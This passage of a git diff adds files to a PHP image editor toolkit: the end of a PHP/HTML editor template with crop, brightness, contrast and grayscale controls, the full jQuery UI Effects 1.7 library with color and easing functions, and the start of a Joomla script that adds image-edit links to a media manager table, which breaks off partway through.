+                                                                       <input id="cropkeepproportions" class="checkbox" type="checkbox" name="cropkeepproportions" <?php PIE_Echo($objPHPImageEditor->inputCropKeepProportions ? 'checked="checked"' : ''); ?>/>
+                                                                       <label class="checkbox" for="cropkeepproportions"><?php PIE_Echo($objPHPImageEditor->texts["CROP KEEP PROPORTIONS"]); ?></label>
+                                                                       <input id="cropkeepproportionsval" type="hidden" name="cropkeepproportionsval" value="<?php PIE_Echo($objPHPImageEditor->inputCropKeepProportions ? '1' : '0'); ?>"/>                                                                   
+                                                                       <input id="cropkeepproportionsratio" type="hidden" name="cropkeepproportionsratio" value="<?php PIE_Echo($objPHPImageEditor->inputCropKeepProportionsRatio); ?>"/>                                                                      
+                                                               </div>
+                                                       </div>
+                                                       <div id="panel_<?php PIE_Echo(MENU_EFFECTS); ?>" class="panel" style="display: <?php PIE_Echo($objPHPImageEditor->IsPHP5OrHigher() ? 'block' : 'none'); ?>;">
+                                                               <div class="field">
+                                                                       <label for="brightness"><?php PIE_Echo($objPHPImageEditor->texts["BRIGHTNESS"]); ?></label>
+                                                                       <div id="brightness_slider_track"></div>
+                                                               </div>
+                                                               <input type="hidden" name="brightness" id="brightness" value="<?php PIE_Echo($objPHPImageEditor->inputBrightness); ?>"/>
+                                                               <div class="field">
+                                                                       <label for="contrast"><?php PIE_Echo($objPHPImageEditor->texts["CONTRAST"]); ?></label>
+                                                                       <div id="contrast_slider_track"></div>
+                                                               </div>
+                                                               <input type="hidden" name="contrast" id="contrast" value="<?php PIE_Echo($objPHPImageEditor->inputContrast); ?>"/>
+                                                               <div class="field">
+                                                                       <input class="checkbox" type="checkbox" name="<?php PIE_Echo($objPHPImageEditor->actionGrayscale); ?>" id="<?php PIE_Echo($objPHPImageEditor->actionGrayscale); ?>" <?php PIE_Echo($objPHPImageEditor->inputGrayscale ? 'checked="checked"' : ''); ?>/>
+                                                                       <label for="<?php PIE_Echo($objPHPImageEditor->actionGrayscale); ?>" class="checkbox"><?php PIE_Echo($objPHPImageEditor->texts["GRAYSCALE"]); ?></label>
+                                                                       <input type="hidden" name="grayscaleval" id="grayscaleval" value="<?php PIE_Echo($objPHPImageEditor->inputGrayscale ? '1' : '0'); ?>"/>
+                                                               </div>
+                                                       </div>
+                                                       <div id="loading" style="display: none;"><?php PIE_Echo($objPHPImageEditor->texts["LOADING"]); ?>...<div id="loading_bar" style="width: 0px;"></div></div>
+               
+                                               </div>
+                                               
+                                               <div class="main-actions">
+                                                       <input type="button" id="btnupdate" name="btnupdate" value="<?php PIE_Echo($objPHPImageEditor->texts["UPDATE"]); ?>"/>
+                                                       <input type="button" <?php PIE_Echo($objPHPImageEditor->actions == "" ? 'disabled="disabled"' : ''); ?> id="btnsave" name="btnsave" value="<?php PIE_Echo($objPHPImageEditor->texts["SAVE AND CLOSE"]); ?>"/>
+                                                       <input type="button" <?php PIE_Echo($objPHPImageEditor->actions == "" ? 'disabled="disabled"' : ''); ?> id="btnundo" name="btnundo" value="<?php PIE_Echo($objPHPImageEditor->texts["UNDO"]); ?>"/>
+                                               </div>
+                        <div class="field">
+                            <label><input type="text" id="image_name" name="image_name" value="<?php PIE_Echo(urldecode($objPHPImageEditor->GetImageNameFinal())); ?>" /></label>
+                        </div>
+               
+                                       </div>
+                                       <input type="hidden" name="actiontype" id="actiontype" value="<?php PIE_Echo($objPHPImageEditor->actionUpdate); ?>"/>
+                                       <input type="hidden" name="panel" id="panel" value="<?php PIE_Echo($objPHPImageEditor->inputPanel); ?>"/>
+                                       <input type="hidden" name="language" id="language" value="<?php PIE_Echo($objPHPImageEditor->inputLanguage); ?>"/>
+                                       <input type="hidden" name="actions" id="actions" style="width: 1000px;" value="<?php $objPHPImageEditor->GetActions(); ?>"/>
+                    <input type="hidden" name="imageNameLast" id="imageNameLast" value="<?php PIE_Echo($objPHPImageEditor->GetImageNameFinal()); ?>" />
+                                       <input type="hidden" name="widthlast" id="widthlast" value="<?php PIE_Echo($objPHPImageEditor->GetWidthFinal()); ?>"/>
+                                       <input type="hidden" name="heightlast" id="heightlast" value="<?php PIE_Echo($objPHPImageEditor->GetHeightFinal()); ?>"/>
+                                       <input type="hidden" name="widthlastbeforeresize" id="widthlastbeforeresize" value="<?php PIE_Echo($objPHPImageEditor->GetWidthKeepProportions()); ?>"/>
+                                       <input type="hidden" name="heightlastbeforeresize" id="heightlastbeforeresize" value="<?php PIE_Echo($objPHPImageEditor->GetHeightKeepProportions()); ?>"/>
+                                       <input type="hidden" name="userid" id="userid" value="<?php PIE_Echo($objPHPImageEditor->userId); ?>"/>
+                                       <input type="hidden" name="contrastlast" id="contrastlast" value="<?php PIE_Echo($objPHPImageEditor->inputContrast); ?>"/>
+                                       <input type="hidden" name="brightnesslast" id="brightnesslast" value="<?php PIE_Echo($objPHPImageEditor->inputBrightness); ?>"/>
+                                       <input type="hidden" name="isajaxpost" id="isajaxpost" value="false"/>
+                               <?php } ?>
+                       </form>
+                       <?php $objPHPImageEditor->GetErrorMessages(); ?>
+                       <div id="divJsErrors" class="error" style="display: none;">
+                               <ul id="ulJsErrors" style="display: none;"><li></li></ul>
+                       </div>
+                       <div><img src="images/empty.gif" alt=""/></div>
+                       <?php if (!$objPHPImageEditor->ErrorHasOccurred()) { ?>
+                               <div id="editimage">
+                                       <img id="image" style="position: absolute; left: 0px; top: 0px; width: <?php PIE_Echo($objPHPImageEditor->GetWidthFinal()); ?>px; height: <?php PIE_Echo($objPHPImageEditor->GetHeightFinal()); ?>px;" alt="" src="<?php PIE_Echo($objPHPImageEditor->srcWorkWith); ?>?timestamp=<?php PIE_Echo(time()); ?>"/>
+                                       <div id="imageResizerKeepProportions" style="diplay: <?php PIE_Echo(($objPHPImageEditor->inputKeepProportions && $objPHPImageEditor->inputPanel == MENU_RESIZE) ? 'block' : 'none'); ?>; width: <?php PIE_Echo($objPHPImageEditor->GetWidthFinal()); ?>px; height: <?php PIE_Echo($objPHPImageEditor->GetHeightFinal()); ?>px;"></div>
+                                       <div id="imageResizerNoProportions" style="diplay: <?php PIE_Echo((!$objPHPImageEditor->inputKeepProportions && $objPHPImageEditor->inputPanel == MENU_RESIZE) ? 'block' : 'none'); ?>; width: <?php PIE_Echo($objPHPImageEditor->GetWidthFinal()); ?>px; height: <?php PIE_Echo($objPHPImageEditor->GetHeightFinal()); ?>px;"></div>
+                               </div>  
+                       <?php } ?>
+
+<?php if (!$objPHPImageEditor->isAjaxPost) { ?>
+               </div>
+       </body>
+       </html>
+<?php } ?>
+
+<?php $objPHPImageEditor->CleanUp(); ?>
\ No newline at end of file
diff --git a/Toolkit/PHPImageEditor/javascript/effects.core.js b/Toolkit/PHPImageEditor/javascript/effects.core.js
new file mode 100644 (file)
index 0000000..9c983c1
--- /dev/null
@@ -0,0 +1,543 @@
+/*
+ * jQuery UI Effects 1.7
+ *
+ * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
+ * Dual licensed under the MIT (MIT-LICENSE.txt)
+ * and GPL (GPL-LICENSE.txt) licenses.
+ *
+ * http://docs.jquery.com/UI/Effects/
+ */
+;jQuery.effects || (function($) {
+
+$.effects = {
+       version: "1.7",
+
+       // Saves a set of properties in a data storage
+       save: function(element, set) {
+               for(var i=0; i < set.length; i++) {
+                       if(set[i] !== null) element.data("ec.storage."+set[i], element[0].style[set[i]]);
+               }
+       },
+
+       // Restores a set of previously saved properties from a data storage
+       restore: function(element, set) {
+               for(var i=0; i < set.length; i++) {
+                       if(set[i] !== null) element.css(set[i], element.data("ec.storage."+set[i]));
+               }
+       },
+
+       setMode: function(el, mode) {
+               if (mode == 'toggle') mode = el.is(':hidden') ? 'show' : 'hide'; // Set for toggle
+               return mode;
+       },
+
+       getBaseline: function(origin, original) { // Translates a [top,left] array into a baseline value
+               // this should be a little more flexible in the future to handle a string & hash
+               var y, x;
+               switch (origin[0]) {
+                       case 'top': y = 0; break;
+                       case 'middle': y = 0.5; break;
+                       case 'bottom': y = 1; break;
+                       default: y = origin[0] / original.height;
+               };
+               switch (origin[1]) {
+                       case 'left': x = 0; break;
+                       case 'center': x = 0.5; break;
+                       case 'right': x = 1; break;
+                       default: x = origin[1] / original.width;
+               };
+               return {x: x, y: y};
+       },
+
+       // Wraps the element around a wrapper that copies position properties
+       createWrapper: function(element) {
+
+               //if the element is already wrapped, return it
+               if (element.parent().is('.ui-effects-wrapper'))
+                       return element.parent();
+
+               //Cache width,height and float properties of the element, and create a wrapper around it
+               var props = { width: element.outerWidth(true), height: element.outerHeight(true), 'float': element.css('float') };
+               element.wrap('<div class="ui-effects-wrapper" style="font-size:100%;background:transparent;border:none;margin:0;padding:0"></div>');
+               var wrapper = element.parent();
+
+               //Transfer the positioning of the element to the wrapper
+               if (element.css('position') == 'static') {
+                       wrapper.css({ position: 'relative' });
+                       element.css({ position: 'relative'} );
+               } else {
+                       var top = element.css('top'); if(isNaN(parseInt(top,10))) top = 'auto';
+                       var left = element.css('left'); if(isNaN(parseInt(left,10))) left = 'auto';
+                       wrapper.css({ position: element.css('position'), top: top, left: left, zIndex: element.css('z-index') }).show();
+                       element.css({position: 'relative', top: 0, left: 0 });
+               }
+
+               wrapper.css(props);
+               return wrapper;
+       },
+
+       removeWrapper: function(element) {
+               if (element.parent().is('.ui-effects-wrapper'))
+                       return element.parent().replaceWith(element);
+               return element;
+       },
+
+       setTransition: function(element, list, factor, value) {
+               value = value || {};
+               $.each(list, function(i, x){
+                       unit = element.cssUnit(x);
+                       if (unit[0] > 0) value[x] = unit[0] * factor + unit[1];
+               });
+               return value;
+       },
+
+       //Base function to animate from one class to another in a seamless transition
+       animateClass: function(value, duration, easing, callback) {
+
+               var cb = (typeof easing == "function" ? easing : (callback ? callback : null));
+               var ea = (typeof easing == "string" ? easing : null);
+
+               return this.each(function() {
+
+                       var offset = {}; var that = $(this); var oldStyleAttr = that.attr("style") || '';
+                       if(typeof oldStyleAttr == 'object') oldStyleAttr = oldStyleAttr["cssText"]; /* Stupidly in IE, style is a object.. */
+                       if(value.toggle) { that.hasClass(value.toggle) ? value.remove = value.toggle : value.add = value.toggle; }
+
+                       //Let's get a style offset
+                       var oldStyle = $.extend({}, (document.defaultView ? document.defaultView.getComputedStyle(this,null) : this.currentStyle));
+                       if(value.add) that.addClass(value.add); if(value.remove) that.removeClass(value.remove);
+                       var newStyle = $.extend({}, (document.defaultView ? document.defaultView.getComputedStyle(this,null) : this.currentStyle));
+                       if(value.add) that.removeClass(value.add); if(value.remove) that.addClass(value.remove);
+
+                       // The main function to form the object for animation
+                       for(var n in newStyle) {
+                               if( typeof newStyle[n] != "function" && newStyle[n] /* No functions and null properties */
+                               && n.indexOf("Moz") == -1 && n.indexOf("length") == -1 /* No mozilla spezific render properties. */
+                               && newStyle[n] != oldStyle[n] /* Only values that have changed are used for the animation */
+                               && (n.match(/color/i) || (!n.match(/color/i) && !isNaN(parseInt(newStyle[n],10)))) /* Only things that can be parsed to integers or colors */
+                               && (oldStyle.position != "static" || (oldStyle.position == "static" && !n.match(/left|top|bottom|right/))) /* No need for positions when dealing with static positions */
+                               ) offset[n] = newStyle[n];
+                       }
+
+                       that.animate(offset, duration, ea, function() { // Animate the newly constructed offset object
+                               // Change style attribute back to original. For stupid IE, we need to clear the damn object.
+                               if(typeof $(this).attr("style") == 'object') { $(this).attr("style")["cssText"] = ""; $(this).attr("style")["cssText"] = oldStyleAttr; } else $(this).attr("style", oldStyleAttr);
+                               if(value.add) $(this).addClass(value.add); if(value.remove) $(this).removeClass(value.remove);
+                               if(cb) cb.apply(this, arguments);
+                       });
+
+               });
+       }
+};
+
+
+function _normalizeArguments(a, m) {
+
+       var o = a[1] && a[1].constructor == Object ? a[1] : {}; if(m) o.mode = m;
+       var speed = a[1] && a[1].constructor != Object ? a[1] : (o.duration ? o.duration : a[2]); //either comes from options.duration or the secon/third argument
+               speed = $.fx.off ? 0 : typeof speed === "number" ? speed : $.fx.speeds[speed] || $.fx.speeds._default;
+       var callback = o.callback || ( $.isFunction(a[1]) && a[1] ) || ( $.isFunction(a[2]) && a[2] ) || ( $.isFunction(a[3]) && a[3] );
+
+       return [a[0], o, speed, callback];
+       
+}
+
+//Extend the methods of jQuery
+$.fn.extend({
+
+       //Save old methods
+       _show: $.fn.show,
+       _hide: $.fn.hide,
+       __toggle: $.fn.toggle,
+       _addClass: $.fn.addClass,
+       _removeClass: $.fn.removeClass,
+       _toggleClass: $.fn.toggleClass,
+
+       // New effect methods
+       effect: function(fx, options, speed, callback) {
+               return $.effects[fx] ? $.effects[fx].call(this, {method: fx, options: options || {}, duration: speed, callback: callback }) : null;
+       },
+
+       show: function() {
+               if(!arguments[0] || (arguments[0].constructor == Number || (/(slow|normal|fast)/).test(arguments[0])))
+                       return this._show.apply(this, arguments);
+               else {
+                       return this.effect.apply(this, _normalizeArguments(arguments, 'show'));
+               }
+       },
+
+       hide: function() {
+               if(!arguments[0] || (arguments[0].constructor == Number || (/(slow|normal|fast)/).test(arguments[0])))
+                       return this._hide.apply(this, arguments);
+               else {
+                       return this.effect.apply(this, _normalizeArguments(arguments, 'hide'));
+               }
+       },
+
+       toggle: function(){
+               if(!arguments[0] || (arguments[0].constructor == Number || (/(slow|normal|fast)/).test(arguments[0])) || (arguments[0].constructor == Function))
+                       return this.__toggle.apply(this, arguments);
+               else {
+                       return this.effect.apply(this, _normalizeArguments(arguments, 'toggle'));
+               }
+       },
+
+       addClass: function(classNames, speed, easing, callback) {
+               return speed ? $.effects.animateClass.apply(this, [{ add: classNames },speed,easing,callback]) : this._addClass(classNames);
+       },
+       removeClass: function(classNames,speed,easing,callback) {
+               return speed ? $.effects.animateClass.apply(this, [{ remove: classNames },speed,easing,callback]) : this._removeClass(classNames);
+       },
+       toggleClass: function(classNames,speed,easing,callback) {
+               return ( (typeof speed !== "boolean") && speed ) ? $.effects.animateClass.apply(this, [{ toggle: classNames },speed,easing,callback]) : this._toggleClass(classNames, speed);
+       },
+       morph: function(remove,add,speed,easing,callback) {
+               return $.effects.animateClass.apply(this, [{ add: add, remove: remove },speed,easing,callback]);
+       },
+       switchClass: function() {
+               return this.morph.apply(this, arguments);
+       },
+
+       // helper functions
+       cssUnit: function(key) {
+               var style = this.css(key), val = [];
+               $.each( ['em','px','%','pt'], function(i, unit){
+                       if(style.indexOf(unit) > 0)
+                               val = [parseFloat(style), unit];
+               });
+               return val;
+       }
+});
+
+/*
+ * jQuery Color Animations
+ * Copyright 2007 John Resig
+ * Released under the MIT and GPL licenses.
+ */
+
+// We override the animation for all of these color styles
+$.each(['backgroundColor', 'borderBottomColor', 'borderLeftColor', 'borderRightColor', 'borderTopColor', 'color', 'outlineColor'], function(i,attr){
+               $.fx.step[attr] = function(fx) {
+                               if ( fx.state == 0 ) {
+                                               fx.start = getColor( fx.elem, attr );
+                                               fx.end = getRGB( fx.end );
+                               }
+
+                               fx.elem.style[attr] = "rgb(" + [
+                                               Math.max(Math.min( parseInt((fx.pos * (fx.end[0] - fx.start[0])) + fx.start[0],10), 255), 0),
+                                               Math.max(Math.min( parseInt((fx.pos * (fx.end[1] - fx.start[1])) + fx.start[1],10), 255), 0),
+                                               Math.max(Math.min( parseInt((fx.pos * (fx.end[2] - fx.start[2])) + fx.start[2],10), 255), 0)
+                               ].join(",") + ")";
+                       };
+});
+
+// Color Conversion functions from highlightFade
+// By Blair Mitchelmore
+// http://jquery.offput.ca/highlightFade/
+
+// Parse strings looking for color tuples [255,255,255]
+function getRGB(color) {
+               var result;
+
+               // Check if we're already dealing with an array of colors
+               if ( color && color.constructor == Array && color.length == 3 )
+                               return color;
+
+               // Look for rgb(num,num,num)
+               if (result = /rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/.exec(color))
+                               return [parseInt(result[1],10), parseInt(result[2],10), parseInt(result[3],10)];
+
+               // Look for rgb(num%,num%,num%)
+               if (result = /rgb\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*\)/.exec(color))
+                               return [parseFloat(result[1])*2.55, parseFloat(result[2])*2.55, parseFloat(result[3])*2.55];
+
+               // Look for #a0b1c2
+               if (result = /#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(color))
+                               return [parseInt(result[1],16), parseInt(result[2],16), parseInt(result[3],16)];
+
+               // Look for #fff
+               if (result = /#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/.exec(color))
+                               return [parseInt(result[1]+result[1],16), parseInt(result[2]+result[2],16), parseInt(result[3]+result[3],16)];
+
+               // Look for rgba(0, 0, 0, 0) == transparent in Safari 3
+               if (result = /rgba\(0, 0, 0, 0\)/.exec(color))
+                               return colors['transparent'];
+
+               // Otherwise, we're most likely dealing with a named color
+               return colors[$.trim(color).toLowerCase()];
+}
+
+function getColor(elem, attr) {
+               var color;
+
+               do {
+                               color = $.curCSS(elem, attr);
+
+                               // Keep going until we find an element that has color, or we hit the body
+                               if ( color != '' && color != 'transparent' || $.nodeName(elem, "body") )
+                                               break;
+
+                               attr = "backgroundColor";
+               } while ( elem = elem.parentNode );
+
+               return getRGB(color);
+};
+
+// Some named colors to work with
+// From Interface by Stefan Petre
+// http://interface.eyecon.ro/
+
+var colors = {
+       aqua:[0,255,255],
+       azure:[240,255,255],
+       beige:[245,245,220],
+       black:[0,0,0],
+       blue:[0,0,255],
+       brown:[165,42,42],
+       cyan:[0,255,255],
+       darkblue:[0,0,139],
+       darkcyan:[0,139,139],
+       darkgrey:[169,169,169],
+       darkgreen:[0,100,0],
+       darkkhaki:[189,183,107],
+       darkmagenta:[139,0,139],
+       darkolivegreen:[85,107,47],
+       darkorange:[255,140,0],
+       darkorchid:[153,50,204],
+       darkred:[139,0,0],
+       darksalmon:[233,150,122],
+       darkviolet:[148,0,211],
+       fuchsia:[255,0,255],
+       gold:[255,215,0],
+       green:[0,128,0],
+       indigo:[75,0,130],
+       khaki:[240,230,140],
+       lightblue:[173,216,230],
+       lightcyan:[224,255,255],
+       lightgreen:[144,238,144],
+       lightgrey:[211,211,211],
+       lightpink:[255,182,193],
+       lightyellow:[255,255,224],
+       lime:[0,255,0],
+       magenta:[255,0,255],
+       maroon:[128,0,0],
+       navy:[0,0,128],
+       olive:[128,128,0],
+       orange:[255,165,0],
+       pink:[255,192,203],
+       purple:[128,0,128],
+       violet:[128,0,128],
+       red:[255,0,0],
+       silver:[192,192,192],
+       white:[255,255,255],
+       yellow:[255,255,0],
+       transparent: [255,255,255]
+};
+
+/*
+ * jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/
+ *
+ * Uses the built in easing capabilities added In jQuery 1.1
+ * to offer multiple easing options
+ *
+ * TERMS OF USE - jQuery Easing
+ *
+ * Open source under the BSD License.
+ *
+ * Copyright 2008 George McGinley Smith
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification,
+ * are permitted provided that the following conditions are met:
+ *
+ * Redistributions of source code must retain the above copyright notice, this list of
+ * conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list
+ * of conditions and the following disclaimer in the documentation and/or other materials
+ * provided with the distribution.
+ *
+ * Neither the name of the author nor the names of contributors may be used to endorse
+ * or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+ * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
+ * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
+ * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+ * OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+*/
+
+// t: current time, b: begInnIng value, c: change In value, d: duration
+$.easing.jswing = $.easing.swing;
+
+$.extend($.easing,
+{
+       def: 'easeOutQuad',
+       swing: function (x, t, b, c, d) {
+               //alert($.easing.default);
+               return $.easing[$.easing.def](x, t, b, c, d);
+       },
+       easeInQuad: function (x, t, b, c, d) {
+               return c*(t/=d)*t + b;
+       },
+       easeOutQuad: function (x, t, b, c, d) {
+               return -c *(t/=d)*(t-2) + b;
+       },
+       easeInOutQuad: function (x, t, b, c, d) {
+               if ((t/=d/2) < 1) return c/2*t*t + b;
+               return -c/2 * ((--t)*(t-2) - 1) + b;
+       },
+       easeInCubic: function (x, t, b, c, d) {
+               return c*(t/=d)*t*t + b;
+       },
+       easeOutCubic: function (x, t, b, c, d) {
+               return c*((t=t/d-1)*t*t + 1) + b;
+       },
+       easeInOutCubic: function (x, t, b, c, d) {
+               if ((t/=d/2) < 1) return c/2*t*t*t + b;
+               return c/2*((t-=2)*t*t + 2) + b;
+       },
+       easeInQuart: function (x, t, b, c, d) {
+               return c*(t/=d)*t*t*t + b;
+       },
+       easeOutQuart: function (x, t, b, c, d) {
+               return -c * ((t=t/d-1)*t*t*t - 1) + b;
+       },
+       easeInOutQuart: function (x, t, b, c, d) {
+               if ((t/=d/2) < 1) return c/2*t*t*t*t + b;
+               return -c/2 * ((t-=2)*t*t*t - 2) + b;
+       },
+       easeInQuint: function (x, t, b, c, d) {
+               return c*(t/=d)*t*t*t*t + b;
+       },
+       easeOutQuint: function (x, t, b, c, d) {
+               return c*((t=t/d-1)*t*t*t*t + 1) + b;
+       },
+       easeInOutQuint: function (x, t, b, c, d) {
+               if ((t/=d/2) < 1) return c/2*t*t*t*t*t + b;
+               return c/2*((t-=2)*t*t*t*t + 2) + b;
+       },
+       easeInSine: function (x, t, b, c, d) {
+               return -c * Math.cos(t/d * (Math.PI/2)) + c + b;
+       },
+       easeOutSine: function (x, t, b, c, d) {
+               return c * Math.sin(t/d * (Math.PI/2)) + b;
+       },
+       easeInOutSine: function (x, t, b, c, d) {
+               return -c/2 * (Math.cos(Math.PI*t/d) - 1) + b;
+       },
+       easeInExpo: function (x, t, b, c, d) {
+               return (t==0) ? b : c * Math.pow(2, 10 * (t/d - 1)) + b;
+       },
+       easeOutExpo: function (x, t, b, c, d) {
+               return (t==d) ? b+c : c * (-Math.pow(2, -10 * t/d) + 1) + b;
+       },
+       easeInOutExpo: function (x, t, b, c, d) {
+               if (t==0) return b;
+               if (t==d) return b+c;
+               if ((t/=d/2) < 1) return c/2 * Math.pow(2, 10 * (t - 1)) + b;
+               return c/2 * (-Math.pow(2, -10 * --t) + 2) + b;
+       },
+       easeInCirc: function (x, t, b, c, d) {
+               return -c * (Math.sqrt(1 - (t/=d)*t) - 1) + b;
+       },
+       easeOutCirc: function (x, t, b, c, d) {
+               return c * Math.sqrt(1 - (t=t/d-1)*t) + b;
+       },
+       easeInOutCirc: function (x, t, b, c, d) {
+               if ((t/=d/2) < 1) return -c/2 * (Math.sqrt(1 - t*t) - 1) + b;
+               return c/2 * (Math.sqrt(1 - (t-=2)*t) + 1) + b;
+       },
+       easeInElastic: function (x, t, b, c, d) {
+               var s=1.70158;var p=0;var a=c;
+               if (t==0) return b;  if ((t/=d)==1) return b+c;  if (!p) p=d*.3;
+               if (a < Math.abs(c)) { a=c; var s=p/4; }
+               else var s = p/(2*Math.PI) * Math.asin (c/a);
+               return -(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
+       },
+       easeOutElastic: function (x, t, b, c, d) {
+               var s=1.70158;var p=0;var a=c;
+               if (t==0) return b;  if ((t/=d)==1) return b+c;  if (!p) p=d*.3;
+               if (a < Math.abs(c)) { a=c; var s=p/4; }
+               else var s = p/(2*Math.PI) * Math.asin (c/a);
+               return a*Math.pow(2,-10*t) * Math.sin( (t*d-s)*(2*Math.PI)/p ) + c + b;
+       },
+       easeInOutElastic: function (x, t, b, c, d) {
+               var s=1.70158;var p=0;var a=c;
+               if (t==0) return b;  if ((t/=d/2)==2) return b+c;  if (!p) p=d*(.3*1.5);
+               if (a < Math.abs(c)) { a=c; var s=p/4; }
+               else var s = p/(2*Math.PI) * Math.asin (c/a);
+               if (t < 1) return -.5*(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
+               return a*Math.pow(2,-10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )*.5 + c + b;
+       },
+       easeInBack: function (x, t, b, c, d, s) {
+               if (s == undefined) s = 1.70158;
+               return c*(t/=d)*t*((s+1)*t - s) + b;
+       },
+       easeOutBack: function (x, t, b, c, d, s) {
+               if (s == undefined) s = 1.70158;
+               return c*((t=t/d-1)*t*((s+1)*t + s) + 1) + b;
+       },
+       easeInOutBack: function (x, t, b, c, d, s) {
+               if (s == undefined) s = 1.70158;
+               if ((t/=d/2) < 1) return c/2*(t*t*(((s*=(1.525))+1)*t - s)) + b;
+               return c/2*((t-=2)*t*(((s*=(1.525))+1)*t + s) + 2) + b;
+       },
+       easeInBounce: function (x, t, b, c, d) {
+               return c - $.easing.easeOutBounce (x, d-t, 0, c, d) + b;
+       },
+       easeOutBounce: function (x, t, b, c, d) {
+               if ((t/=d) < (1/2.75)) {
+                       return c*(7.5625*t*t) + b;
+               } else if (t < (2/2.75)) {
+                       return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b;
+               } else if (t < (2.5/2.75)) {
+                       return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b;
+               } else {
+                       return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b;
+               }
+       },
+       easeInOutBounce: function (x, t, b, c, d) {
+               if (t < d/2) return $.easing.easeInBounce (x, t*2, 0, c, d) * .5 + b;
+               return $.easing.easeOutBounce (x, t*2-d, 0, c, d) * .5 + c*.5 + b;
+       }
+});
+
+/*
+ *
+ * TERMS OF USE - EASING EQUATIONS
+ *
+ * Open source under the BSD License.
+ *
+ * Copyright 2001 Robert Penner
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification,
+ * are permitted provided that the following conditions are met:
+ *
+ * Redistributions of source code must retain the above copyright notice, this list of
+ * conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list
+ * of conditions and the following disclaimer in the documentation and/or other materials
+ * provided with the distribution.
+ *
+ * Neither the name of the author nor the names of contributors may be used to endorse
+ * or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+ * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
+ * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
+ * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+ * OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ */
+
+})(jQuery);
diff --git a/Toolkit/PHPImageEditor/javascript/joomla_editimagelink.js b/Toolkit/PHPImageEditor/javascript/joomla_editimagelink.js
new file mode 100644 (file)
index 0000000..2270ab6
--- /dev/null
@@ -0,0 +1,167 @@
+String.prototype.phpimageeditor_add_editlink_endswith = function(str) 
+{
+       return (this.match(str+"$")==str);
+}
+
+function phpimageeditor_add_editlink(pathToEditor, pathToPlugin, hostPath, editImageText, language)
+{
+       var mediamanagerForm = document.getElementById("mediamanager-form");
+       if (mediamanagerForm != null)
+       {
+               var trs = mediamanagerForm.getElementsByTagName("tr");
+               var modeDetailed = (trs.length > 0);
+               
+               if (modeDetailed)
+               {
+                       var isTableHeader = true;
+                       
+                       for(var i=0;i<trs.length;i++)
+                       {
+                               if (isTableHeader)
+                               {
+                                       var th = document.createElement("th");
+                                       th.appendChild(document.createTextNode(editImageText));
+                                       trs[i].appendChild(th);
+                               }
+                               else 
+                               {
+                                       var td = document.createElement("td");
+                                       
+                                       var imageSrcDetailed = "";
+                                       var links = trs[i].getElementsByTagName("a");
+                                       var foundDetailedImage = false;
+
+                                       for(var c=0;c<links.length;c++)
+                                       {
+                                               if (links[c].className == 'img-preview')
+                                               {
+                                                       imageSrcDetailed = phpimageeditor_urlencode(links[c].href.replace(hostPath,'../../../')); 
+                                                       
+                                                       if (phpimageeditor_file_is_image(imageSrcDetailed))
+                                                       {
+                                                               if (trs[i].innerHTML.indexOf('folderup_16.png') == -1 && trs[i].innerHTML.indexOf('folder_sm.png') == -1)
+                                                               {
